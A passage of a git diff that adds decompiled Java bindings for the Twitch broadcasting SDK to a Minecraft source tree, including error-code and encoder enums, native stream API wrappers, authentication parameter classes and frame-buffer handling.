+  TTV_EC_WEBCAM_UNSUPPORTED_TARGET_FORMAT(2067), 
+  TTV_EC_INVALID_STRUCT_SIZE(2068), 
+  TTV_EC_STREAM_ALREADY_STARTED(2069), 
+  TTV_EC_STREAM_NOT_STARTED(2070), 
+  TTV_EC_REQUEST_ABORTED(2071), 
+  TTV_EC_FRAME_QUEUE_TOO_LONG(2072), 
+  TTV_EC_GRAPHICS_API_ERROR(2073), 
+  TTV_EC_METADATA_CACHE_FULL(2074), 
+  TTV_EC_SOUNDFLOWER_NOT_INSTALLED(2075), 
+  TTV_EC_STILL_IN_USE(2076), 
+  TTV_EC_NO_ENCODER_PLUGIN(2077), 
+  TTV_EC_WARNING_START(64536), 
+  TTV_WRN_MUTEX_LOCKED(64537), 
+  TTV_WRN_FAILED_TO_INIT_MIC_CAPTURE(64538), 
+  TTV_WRN_NOTENOUGHDATA(64539), 
+  TTV_WRN_NOMOREDATA(64540), 
+  TTV_WRN_FRAMES_QUEUEING(64541), 
+  TTV_WRN_MUTEX_NOT_AQUIRED(64542), 
+  TTV_WRN_PREV_GAME_NAME_MATCH_REQUEST_DROPPED(64543), 
+  TTV_WRN_DEPRECATED(64544), 
+  TTV_WRN_CHAT_MESSAGE_SPAM_DISCARDED(64545), 
+  TTV_WRN_WAIT_TIMEOUT(64546), 
+  TTV_WRN_STREAMINFO_PENDING(64547);
+  
+  static { s_Map = new java.util.HashMap();
+    
+
+
+    java.util.EnumSet localEnumSet = java.util.EnumSet.allOf(ErrorCode.class);
+    
+    for (ErrorCode localErrorCode : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localErrorCode.getValue()), localErrorCode);
+    }
+  }
+  
+  public static ErrorCode lookupValue(int paramInt)
+  {
+    ErrorCode localErrorCode = (ErrorCode)s_Map.get(Integer.valueOf(paramInt));
+    return localErrorCode;
+  }
+  
+  private static Map<Integer, ErrorCode> s_Map;
+  private int m_Value;
+  private ErrorCode(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+  
+  public static boolean succeeded(ErrorCode paramErrorCode)
+  {
+    return paramErrorCode.getValue() <= TTV_EC_SUCCESS.getValue();
+  }
+  
+  public static boolean failed(ErrorCode paramErrorCode)
+  {
+    return paramErrorCode.getValue() > TTV_EC_SUCCESS.getValue();
+  }
+  
+  public static String getString(ErrorCode paramErrorCode)
+  {
+    Core localCore = Core.getInstance();
+    if (localCore == null)
+    {
+      return "Unknown error";
+    }
+    
+    return localCore.errorToString(paramErrorCode);
+  }
+}
diff --git a/src/minecraft/tv/twitch/MessageLevel.java b/src/minecraft/tv/twitch/MessageLevel.java
new file mode 100644
index 0000000..84e27ca
--- /dev/null
+++ b/src/minecraft/tv/twitch/MessageLevel.java
@@ -0,0 +1,47 @@
+package tv.twitch;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public enum MessageLevel
+{
+  TTV_ML_DEBUG(0), 
+  TTV_ML_INFO(1), 
+  TTV_ML_WARNING(2), 
+  TTV_ML_ERROR(3), 
+  TTV_ML_CHAT(4), 
+  
+  TTV_ML_NONE(5);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(MessageLevel.class);
+    
+    for (MessageLevel localMessageLevel : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localMessageLevel.getValue()), localMessageLevel);
+    }
+  }
+  
+  public static MessageLevel lookupValue(int paramInt)
+  {
+    MessageLevel localMessageLevel = (MessageLevel)s_Map.get(Integer.valueOf(paramInt));
+    return localMessageLevel;
+  }
+  
+  private static Map<Integer, MessageLevel> s_Map;
+  private int m_Value;
+  private MessageLevel(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/StandardCoreAPI.java b/src/minecraft/tv/twitch/StandardCoreAPI.java
new file mode 100644
index 0000000..a095d47
--- /dev/null
+++ b/src/minecraft/tv/twitch/StandardCoreAPI.java
@@ -0,0 +1,72 @@
+package tv.twitch;
+
+import java.io.PrintStream;
+
+public class StandardCoreAPI
+  extends CoreAPI
+{
+  public StandardCoreAPI()
+  {
+    try
+    {
+      System.loadLibrary("twitchsdk");
+    }
+    catch (UnsatisfiedLinkError localUnsatisfiedLinkError)
+    {
+      System.out.println("If on Windows, make sure to provide all of the necessary dll's as specified in the twitchsdk README. Also, make sure to set the PATH environment variable to point to the directory containing the dll's.");
+      
+
+      throw localUnsatisfiedLinkError;
+    }
+  }
+  
+  protected void finalize() {}
+  
+  private static native ErrorCode TTV_Java_Init(String paramString1, String paramString2);
+  
+  private static native ErrorCode TTV_Java_Shutdown();
+  
+  private static native ErrorCode TTV_Java_SetTraceLevel(int paramInt);
+  
+  private static native ErrorCode TTV_Java_SetTraceOutput(String paramString);
+  
+  private static native String TTV_Java_ErrorToString(ErrorCode paramErrorCode);
+  
+  public ErrorCode init(String paramString1, String paramString2) {
+    return TTV_Java_Init(paramString1, paramString2);
+  }
+  
+
+  public ErrorCode shutdown()
+  {
+    return TTV_Java_Shutdown();
+  }
+  
+
+  public ErrorCode setTraceLevel(MessageLevel paramMessageLevel)
+  {
+    if (paramMessageLevel == null)
+    {
+      paramMessageLevel = MessageLevel.TTV_ML_NONE;
+    }
+    
+    return TTV_Java_SetTraceLevel(paramMessageLevel.getValue());
+  }
+  
+
+  public ErrorCode setTraceOutput(String paramString)
+  {
+    return TTV_Java_SetTraceOutput(paramString);
+  }
+  
+
+  public String errorToString(ErrorCode paramErrorCode)
+  {
+    if (paramErrorCode == null)
+    {
+      return null;
+    }
+    
+    return TTV_Java_ErrorToString(paramErrorCode);
+  }
+}
diff --git a/src/minecraft/tv/twitch/VideoEncoder.java b/src/minecraft/tv/twitch/VideoEncoder.java
new file mode 100644
index 0000000..d07cc82
--- /dev/null
+++ b/src/minecraft/tv/twitch/VideoEncoder.java
@@ -0,0 +1,45 @@
+package tv.twitch;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public enum VideoEncoder
+{
+  TTV_VID_ENC_DISABLE(-2), 
+  TTV_VID_ENC_DEFAULT(-1), 
+  TTV_VID_ENC_INTEL(0), 
+  TTV_VID_ENC_APPLE(2), 
+  TTV_VID_ENC_PLUGIN(100);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(VideoEncoder.class);
+    
+    for (VideoEncoder localVideoEncoder : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localVideoEncoder.getValue()), localVideoEncoder);
+    }
+  }
+  
+  public static VideoEncoder lookupValue(int paramInt)
+  {
+    VideoEncoder localVideoEncoder = (VideoEncoder)s_Map.get(Integer.valueOf(paramInt));
+    return localVideoEncoder;
+  }
+  
+  private static Map<Integer, VideoEncoder> s_Map;
+  private int m_Value;
+  private VideoEncoder(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/ArchivingState.java b/src/minecraft/tv/twitch/broadcast/ArchivingState.java
new file mode 100644
index 0000000..1865e0a
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/ArchivingState.java
@@ -0,0 +1,9 @@
+package tv.twitch.broadcast;
+
+public class ArchivingState
+{
+  public boolean recordingEnabled;
+  public String cureUrl;
+  
+  public ArchivingState() {}
+}
diff --git a/src/minecraft/tv/twitch/broadcast/AudioDeviceType.java b/src/minecraft/tv/twitch/broadcast/AudioDeviceType.java
new file mode 100644
index 0000000..40c9753
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/AudioDeviceType.java
@@ -0,0 +1,45 @@
+package tv.twitch.broadcast;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public enum AudioDeviceType
+{
+  TTV_PLAYBACK_DEVICE(0), 
+  TTV_RECORDER_DEVICE(1), 
+  TTV_PASSTHROUGH_DEVICE(2), 
+  
+  TTV_DEVICE_NUM(3);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(AudioDeviceType.class);
+    
+    for (AudioDeviceType localAudioDeviceType : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localAudioDeviceType.getValue()), localAudioDeviceType);
+    }
+  }
+  
+  public static AudioDeviceType lookupValue(int paramInt)
+  {
+    AudioDeviceType localAudioDeviceType = (AudioDeviceType)s_Map.get(Integer.valueOf(paramInt));
+    return localAudioDeviceType;
+  }
+  
+  private static Map<Integer, AudioDeviceType> s_Map;
+  private int m_Value;
+  private AudioDeviceType(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/AudioEncoder.java b/src/minecraft/tv/twitch/broadcast/AudioEncoder.java
new file mode 100644
index 0000000..410a137
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/AudioEncoder.java
@@ -0,0 +1,42 @@
+package tv.twitch.broadcast;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+public enum AudioEncoder
+{
+  TTV_AUD_ENC_DEFAULT(-1), 
+  TTV_AUD_ENC_LAMEMP3(0), 
+  TTV_AUD_ENC_APPLEAAC(1);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(AudioEncoder.class);
+    
+    for (AudioEncoder localAudioEncoder : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localAudioEncoder.getValue()), localAudioEncoder);
+    }
+  }
+  
+  public static AudioEncoder lookupValue(int paramInt)
+  {
+    AudioEncoder localAudioEncoder = (AudioEncoder)s_Map.get(Integer.valueOf(paramInt));
+    return localAudioEncoder;
+  }
+  
+  private static Map<Integer, AudioEncoder> s_Map;
+  private int m_Value;
+  private AudioEncoder(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/AudioParams.java b/src/minecraft/tv/twitch/broadcast/AudioParams.java
new file mode 100644
index 0000000..f7a28f1
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/AudioParams.java
@@ -0,0 +1,12 @@
+package tv.twitch.broadcast;
+
+
+public class AudioParams
+{
+  public boolean audioEnabled = true;
+  public boolean enableMicCapture = true;
+  public boolean enablePlaybackCapture = true;
+  public boolean enablePassthroughAudio = false;
+  
+  public AudioParams() {}
+}
diff --git a/src/minecraft/tv/twitch/broadcast/AudioSampleFormat.java b/src/minecraft/tv/twitch/broadcast/AudioSampleFormat.java
new file mode 100644
index 0000000..0cc9ded
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/AudioSampleFormat.java
@@ -0,0 +1,41 @@
+package tv.twitch.broadcast;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+
+public enum AudioSampleFormat
+{
+  TTV_ASF_PCM_S16(0);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(AudioSampleFormat.class);
+    
+    for (AudioSampleFormat localAudioSampleFormat : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localAudioSampleFormat.getValue()), localAudioSampleFormat);
+    }
+  }
+  
+  public static AudioSampleFormat lookupValue(int paramInt)
+  {
+    AudioSampleFormat localAudioSampleFormat = (AudioSampleFormat)s_Map.get(Integer.valueOf(paramInt));
+    return localAudioSampleFormat;
+  }
+  
+  private static Map<Integer, AudioSampleFormat> s_Map;
+  private int m_Value;
+  private AudioSampleFormat(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/AuthFlag.java b/src/minecraft/tv/twitch/broadcast/AuthFlag.java
new file mode 100644
index 0000000..7f7956a
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/AuthFlag.java
@@ -0,0 +1,63 @@
+package tv.twitch.broadcast;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+public enum AuthFlag
+{
+  TTV_AuthOption_None(0), 
+  TTV_AuthOption_Broadcast(1), 
+  TTV_AuthOption_Chat(2);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(AuthFlag.class);
+    
+    for (AuthFlag localAuthFlag : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localAuthFlag.getValue()), localAuthFlag);
+    }
+  }
+  
+  public static AuthFlag lookupValue(int paramInt)
+  {
+    AuthFlag localAuthFlag = (AuthFlag)s_Map.get(Integer.valueOf(paramInt));
+    return localAuthFlag;
+  }
+  
+  public static int getNativeValue(HashSet<AuthFlag> paramHashSet)
+  {
+    if (paramHashSet == null)
+    {
+      return TTV_AuthOption_None.getValue();
+    }
+    
+    int i = 0;
+    
+    for (AuthFlag localAuthFlag : paramHashSet)
+    {
+      if (localAuthFlag != null)
+      {
+        i |= localAuthFlag.getValue();
+      }
+    }
+    
+    return i;
+  }
+  
+  private static Map<Integer, AuthFlag> s_Map;
+  private int m_Value;
+  private AuthFlag(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/AuthParams.java b/src/minecraft/tv/twitch/broadcast/AuthParams.java
new file mode 100644
index 0000000..c66512a
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/AuthParams.java
@@ -0,0 +1,10 @@
+package tv.twitch.broadcast;
+
+public class AuthParams
+{
+  public String userName;
+  public String password;
+  public String clientSecret;
+  
+  public AuthParams() {}
+}
diff --git a/src/minecraft/tv/twitch/broadcast/ChannelInfo.java b/src/minecraft/tv/twitch/broadcast/ChannelInfo.java
new file mode 100644
index 0000000..f309da2
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/ChannelInfo.java
@@ -0,0 +1,10 @@
+package tv.twitch.broadcast;
+
+public class ChannelInfo
+{
+  public String displayName;
+  public String name;
+  public String channelUrl;
+  
+  public ChannelInfo() {}
+}
diff --git a/src/minecraft/tv/twitch/broadcast/Constants.java b/src/minecraft/tv/twitch/broadcast/Constants.java
new file mode 100644
index 0000000..f2af3ba
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/Constants.java
@@ -0,0 +1,13 @@
+package tv.twitch.broadcast;
+
+public class Constants
+{
+  public static final int TTV_MIN_BITRATE = 230;
+  public static final int TTV_MAX_BITRATE = 3500;
+  public static final int TTV_MIN_FPS = 10;
+  public static final int TTV_MAX_FPS = 60;
+  public static final int TTV_MAX_WIDTH = 1920;
+  public static final int TTV_MAX_HEIGHT = 1200;
+  
+  public Constants() {}
+}
diff --git a/src/minecraft/tv/twitch/broadcast/DesktopStreamAPI.java b/src/minecraft/tv/twitch/broadcast/DesktopStreamAPI.java
new file mode 100644
index 0000000..136c90b
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/DesktopStreamAPI.java
@@ -0,0 +1,256 @@
+package tv.twitch.broadcast;
+
+import java.util.HashSet;
+import tv.twitch.AuthToken;
+import tv.twitch.ErrorCode;
+
+
+
+
+public class DesktopStreamAPI
+  extends StreamAPI
+{
+  public DesktopStreamAPI() {}
+  
+  protected void finalize()
+  {
+    TTV_Java_SetStreamCallbacks(null);
+    TTV_Java_SetStatCallbacks(null); }
+  
+  private static native void TTV_Java_SetStreamCallbacks(IStreamCallbacks paramIStreamCallbacks);
+  
+  private static native IStreamCallbacks TTV_Java_GetStreamCallbacks();
+  
+  private static native void TTV_Java_SetStatCallbacks(IStatCallbacks paramIStatCallbacks);
+  
+  private static native IStatCallbacks TTV_Java_GetStatCallbacks();
+  
+  private static native ErrorCode TTV_Java_RequestAuthToken(AuthParams paramAuthParams, int paramInt);
+  
+  private static native ErrorCode TTV_Java_Login(AuthToken paramAuthToken);
+  
+  private static native ErrorCode TTV_Java_GetIngestServers(AuthToken paramAuthToken);
+  private static native ErrorCode TTV_Java_GetUserInfo(AuthToken paramAuthToken);
+  private static native ErrorCode TTV_Java_GetStreamInfo(AuthToken paramAuthToken, String paramString);
+  private static native ErrorCode TTV_Java_SetStreamInfo(AuthToken paramAuthToken, String paramString, StreamInfoForSetting paramStreamInfoForSetting);
+  private static native ErrorCode TTV_Java_GetArchivingState(AuthToken paramAuthToken);
+  private static native ErrorCode TTV_Java_RunCommercial(AuthToken paramAuthToken);
+  private static native ErrorCode TTV_Java_SetVolume(AudioDeviceType paramAudioDeviceType, float paramFloat);
+  private static native float TTV_Java_GetVolume(AudioDeviceType paramAudioDeviceType);
+  private static native ErrorCode TTV_Java_GetGameNameList(String paramString);
+  private static native ErrorCode TTV_Java_GetDefaultParams(VideoParams paramVideoParams);
+  private static native ErrorCode TTV_GetMaxResolution(int paramInt1, int paramInt2, float paramFloat1, float paramFloat2, int[] paramArrayOfInt);
+  private static native ErrorCode TTV_Java_PollTasks();
+  private static native ErrorCode TTV_Java_PollStats();
+  private static native ErrorCode TTV_Java_Init(int paramInt);
+  private static native ErrorCode TTV_Java_Shutdown();
+  private static native ErrorCode TTV_Java_SendActionMetaData(AuthToken paramAuthToken, String paramString1, long paramLong, String paramString2, String paramString3);
+  private static native long TTV_Java_SendStartSpanMetaData(AuthToken paramAuthToken, String paramString1, long paramLong, String paramString2, String paramString3);
+  private static native ErrorCode TTV_Java_SendEndSpanMetaData(AuthToken paramAuthToken, String paramString1, long paramLong1, long paramLong2, String paramString2, String paramString3);
+  private static native ErrorCode TTV_Java_SubmitVideoFrame(long paramLong);
+  private static native ErrorCode TTV_Java_Start(VideoParams paramVideoParams, AudioParams paramAudioParams, IngestServer paramIngestServer, int paramInt, boolean paramBoolean);
+  private static native ErrorCode TTV_Java_Stop(boolean paramBoolean);
+  private static native ErrorCode TTV_Java_PauseVideo();
+  private static native long TTV_Java_AllocateFrameBuffer(int paramInt);
+  private static native ErrorCode TTV_Java_FreeFrameBuffer(long paramLong);
+  private static native ErrorCode TTV_Java_MemsetFrameBuffer(long paramLong, int paramInt1, int paramInt2);
+  private static native ErrorCode TTV_Java_RandomizeFrameBuffer(long paramLong, int paramInt);
+  private static native ErrorCode TTV_Java_CaptureFrameBuffer_ReadPixels(long paramLong);
+  private static native long TTV_Java_GetStreamTime();
+  public void setStreamCallbacks(IStreamCallbacks paramIStreamCallbacks) { TTV_Java_SetStreamCallbacks(paramIStreamCallbacks); }
+  
+
+
+  public IStreamCallbacks getStreamCallbacks()
+  {
+    return TTV_Java_GetStreamCallbacks();
+  }
+  
+
+  public void setStatCallbacks(IStatCallbacks paramIStatCallbacks)
+  {
+    TTV_Java_SetStatCallbacks(paramIStatCallbacks);
+  }
+  
+
+  public IStatCallbacks getStatCallbacks()
+  {
+    return TTV_Java_GetStatCallbacks();
+  }
+  
+
+  public ErrorCode requestAuthToken(AuthParams paramAuthParams, HashSet<AuthFlag> paramHashSet)
+  {
+    if (paramHashSet == null)
+    {
+      paramHashSet = new HashSet();
+    }
+    
+    int i = AuthFlag.getNativeValue(paramHashSet);
+    return TTV_Java_RequestAuthToken(paramAuthParams, i);
+  }
+  
+
+  public ErrorCode login(AuthToken paramAuthToken)
+  {
+    return TTV_Java_Login(paramAuthToken);
+  }
+  
+
+  public ErrorCode getIngestServers(AuthToken paramAuthToken)
+  {
+    return TTV_Java_GetIngestServers(paramAuthToken);
+  }
+  
+
+  public ErrorCode getUserInfo(AuthToken paramAuthToken)
+  {
+    return TTV_Java_GetUserInfo(paramAuthToken);
+  }
+  
+
+  public ErrorCode getStreamInfo(AuthToken paramAuthToken, String paramString)
+  {
+    return TTV_Java_GetStreamInfo(paramAuthToken, paramString);
+  }
+  
+
+  public ErrorCode setStreamInfo(AuthToken paramAuthToken, String paramString, StreamInfoForSetting paramStreamInfoForSetting)
+  {
+    return TTV_Java_SetStreamInfo(paramAuthToken, paramString, paramStreamInfoForSetting);
+  }
+  
+
+  public ErrorCode getArchivingState(AuthToken paramAuthToken)
+  {
+    return TTV_Java_GetArchivingState(paramAuthToken);
+  }
+  
+
+  public ErrorCode runCommercial(AuthToken paramAuthToken)
+  {
+    return TTV_Java_RunCommercial(paramAuthToken);
+  }
+  
+
+  public ErrorCode setVolume(AudioDeviceType paramAudioDeviceType, float paramFloat)
+  {
+    return TTV_Java_SetVolume(paramAudioDeviceType, paramFloat);
+  }
+  
+
+  public float getVolume(AudioDeviceType paramAudioDeviceType)
+  {
+    return TTV_Java_GetVolume(paramAudioDeviceType);
+  }
+  
+
+  public ErrorCode getGameNameList(String paramString)
+  {
+    return TTV_Java_GetGameNameList(paramString);
+  }
+  
+
+  public ErrorCode getDefaultParams(VideoParams paramVideoParams)
+  {
+    return TTV_Java_GetDefaultParams(paramVideoParams);
+  }
+  
+
+  public int[] getMaxResolution(int paramInt1, int paramInt2, float paramFloat1, float paramFloat2)
+  {
+    int[] arrayOfInt = { 0, 0 };
+    TTV_GetMaxResolution(paramInt1, paramInt2, paramFloat1, paramFloat2, arrayOfInt);
+    return arrayOfInt;
+  }
+  
+
+  public ErrorCode pollTasks()
+  {
+    return TTV_Java_PollTasks();
+  }
+  
+
+  public ErrorCode pollStats()
+  {
+    return TTV_Java_PollStats();
+  }
+  
+
+  public ErrorCode sendActionMetaData(AuthToken paramAuthToken, String paramString1, long paramLong, String paramString2, String paramString3)
+  {
+    return TTV_Java_SendActionMetaData(paramAuthToken, paramString1, paramLong, paramString2, paramString3);
+  }
+  
+
+  public long sendStartSpanMetaData(AuthToken paramAuthToken, String paramString1, long paramLong, String paramString2, String paramString3)
+  {
+    return TTV_Java_SendStartSpanMetaData(paramAuthToken, paramString1, paramLong, paramString2, paramString3);
+  }
+  
+
+  public ErrorCode sendEndSpanMetaData(AuthToken paramAuthToken, String paramString1, long paramLong1, long paramLong2, String paramString2, String paramString3)
+  {
+    return TTV_Java_SendEndSpanMetaData(paramAuthToken, paramString1, paramLong1, paramLong2, paramString2, paramString3);
+  }
+  
+
+  public ErrorCode submitVideoFrame(long paramLong)
+  {
+    return TTV_Java_SubmitVideoFrame(paramLong);
+  }
+  
+
+  public ErrorCode start(VideoParams paramVideoParams, AudioParams paramAudioParams, IngestServer paramIngestServer, int paramInt, boolean paramBoolean)
+  {
+    return TTV_Java_Start(paramVideoParams, paramAudioParams, paramIngestServer, paramInt, paramBoolean);
+  }
+  
+
+  public ErrorCode stop(boolean paramBoolean)
+  {
+    return TTV_Java_Stop(paramBoolean);
+  }
+  
+
+  public ErrorCode pauseVideo()
+  {
+    return TTV_Java_PauseVideo();
+  }
+  
+
+  public long allocateFrameBuffer(int paramInt)
+  {
+    return TTV_Java_AllocateFrameBuffer(paramInt);
+  }
+  
+
+  public ErrorCode freeFrameBuffer(long paramLong)
+  {
+    return TTV_Java_FreeFrameBuffer(paramLong);
+  }
+  
+
+  public ErrorCode memsetFrameBuffer(long paramLong, int paramInt1, int paramInt2)
+  {
+    return TTV_Java_MemsetFrameBuffer(paramLong, paramInt1, paramInt2);
+  }
+  
+
+  public ErrorCode randomizeFrameBuffer(long paramLong, int paramInt)
+  {
+    return TTV_Java_RandomizeFrameBuffer(paramLong, paramInt);
+  }
+  
+
+  public ErrorCode captureFrameBuffer_ReadPixels(long paramLong)
+  {
+    return TTV_Java_CaptureFrameBuffer_ReadPixels(paramLong);
+  }
+  
+
+  public long getStreamTime()
+  {
+    return TTV_Java_GetStreamTime();
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/EncodingCpuUsage.java b/src/minecraft/tv/twitch/broadcast/EncodingCpuUsage.java
new file mode 100644
index 0000000..4cf9ab0
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/EncodingCpuUsage.java
@@ -0,0 +1,42 @@
+package tv.twitch.broadcast;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+public enum EncodingCpuUsage
+{
+  TTV_ECU_LOW(0), 
+  TTV_ECU_MEDIUM(1), 
+  TTV_ECU_HIGH(2);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(EncodingCpuUsage.class);
+    
+    for (EncodingCpuUsage localEncodingCpuUsage : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localEncodingCpuUsage.getValue()), localEncodingCpuUsage);
+    }
+  }
+  
+  public static EncodingCpuUsage lookupValue(int paramInt)
+  {
+    EncodingCpuUsage localEncodingCpuUsage = (EncodingCpuUsage)s_Map.get(Integer.valueOf(paramInt));
+    return localEncodingCpuUsage;
+  }
+  
+  private static Map<Integer, EncodingCpuUsage> s_Map;
+  private int m_Value;
+  private EncodingCpuUsage(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/FrameBuffer.java b/src/minecraft/tv/twitch/broadcast/FrameBuffer.java
new file mode 100644
index 0000000..117d1f9
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/FrameBuffer.java
@@ -0,0 +1,78 @@
+package tv.twitch.broadcast;
+
+import java.util.HashMap;
+import java.util.Map;
+
+
+public class FrameBuffer
+{
+  private static Map<Long, FrameBuffer> s_OutstandingBuffers = new HashMap();
+  
+  public static FrameBuffer lookupBuffer(long paramLong)
+  {
+    return (FrameBuffer)s_OutstandingBuffers.get(Long.valueOf(paramLong));
+  }
+  
+  protected static void registerBuffer(FrameBuffer paramFrameBuffer)
+  {
+    if (paramFrameBuffer.getAddress() != 0L)
+    {
+      s_OutstandingBuffers.put(Long.valueOf(paramFrameBuffer.getAddress()), paramFrameBuffer);
+    }
+  }
+  
+  protected static void unregisterBuffer(FrameBuffer paramFrameBuffer)
+  {
+    s_OutstandingBuffers.remove(Long.valueOf(paramFrameBuffer.getAddress()));
+  }
+  
+  protected long m_NativeAddress = 0L;
+  protected int m_Size = 0;
+  protected StreamAPI m_API = null;
+  
+  FrameBuffer(StreamAPI paramStreamAPI, int paramInt)
+  {
+    m_NativeAddress = paramStreamAPI.allocateFrameBuffer(paramInt);
+    
+    if (m_NativeAddress == 0L)
+    {
+      return;
+    }
+    
+    m_API = paramStreamAPI;
+    m_Size = paramInt;
+    
+    registerBuffer(this);
+  }
+  
+  public boolean getIsValid()
+  {
+    return m_NativeAddress != 0L;
+  }
+  
+  public int getSize()
+  {
+    return m_Size;
+  }
+  
+  public long getAddress()
+  {
+    return m_NativeAddress;
+  }
+  
+  public void free()
+  {
+    if (m_NativeAddress != 0L)
+    {
+      unregisterBuffer(this);
+      
+      m_API.freeFrameBuffer(m_NativeAddress);
+      m_NativeAddress = 0L;
+    }
+  }
+  
+  protected void finalize()
+  {
+    free();
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/GameInfo.java b/src/minecraft/tv/twitch/broadcast/GameInfo.java
new file mode 100644
index 0000000..7f62476
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/GameInfo.java
@@ -0,0 +1,10 @@
+package tv.twitch.broadcast;
+
+public class GameInfo
+{
+  public String name;
+  public int popularity;
+  public int id;
+  
+  public GameInfo() {}
+}
diff --git a/src/minecraft/tv/twitch/broadcast/GameInfoList.java b/src/minecraft/tv/twitch/broadcast/GameInfoList.java
new file mode 100644
index 0000000..2c69a42
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/GameInfoList.java
@@ -0,0 +1,9 @@
+package tv.twitch.broadcast;
+
+
+public class GameInfoList
+{
+  public GameInfo[] list = null;
+  
+  public GameInfoList() {}
+}
diff --git a/src/minecraft/tv/twitch/broadcast/IStatCallbacks.java b/src/minecraft/tv/twitch/broadcast/IStatCallbacks.java
new file mode 100644
index 0000000..3062ec9
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/IStatCallbacks.java
@@ -0,0 +1,6 @@
+package tv.twitch.broadcast;
+
+public abstract interface IStatCallbacks
+{
+  public abstract void statCallback(StatType paramStatType, long paramLong);
+}
diff --git a/src/minecraft/tv/twitch/broadcast/IStreamCallbacks.java b/src/minecraft/tv/twitch/broadcast/IStreamCallbacks.java
new file mode 100644
index 0000000..60c2758
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/IStreamCallbacks.java
@@ -0,0 +1,37 @@
+package tv.twitch.broadcast;
+
+import tv.twitch.AuthToken;
+import tv.twitch.ErrorCode;
+
+public abstract interface IStreamCallbacks
+{
+  public abstract void requestAuthTokenCallback(ErrorCode paramErrorCode, AuthToken paramAuthToken);
+  
+  public abstract void loginCallback(ErrorCode paramErrorCode, ChannelInfo paramChannelInfo);
+  
+  public abstract void getIngestServersCallback(ErrorCode paramErrorCode, IngestList paramIngestList);
+  
+  public abstract void getUserInfoCallback(ErrorCode paramErrorCode, UserInfo paramUserInfo);
+  
+  public abstract void getStreamInfoCallback(ErrorCode paramErrorCode, StreamInfo paramStreamInfo);
+  
+  public abstract void getArchivingStateCallback(ErrorCode paramErrorCode, ArchivingState paramArchivingState);
+  
+  public abstract void runCommercialCallback(ErrorCode paramErrorCode);
+  
+  public abstract void setStreamInfoCallback(ErrorCode paramErrorCode);
+  
+  public abstract void getGameNameListCallback(ErrorCode paramErrorCode, GameInfoList paramGameInfoList);
+  
+  public abstract void bufferUnlockCallback(long paramLong);
+  
+  public abstract void startCallback(ErrorCode paramErrorCode);
+  
+  public abstract void stopCallback(ErrorCode paramErrorCode);
+  
+  public abstract void sendActionMetaDataCallback(ErrorCode paramErrorCode);
+  
+  public abstract void sendStartSpanMetaDataCallback(ErrorCode paramErrorCode);
+  
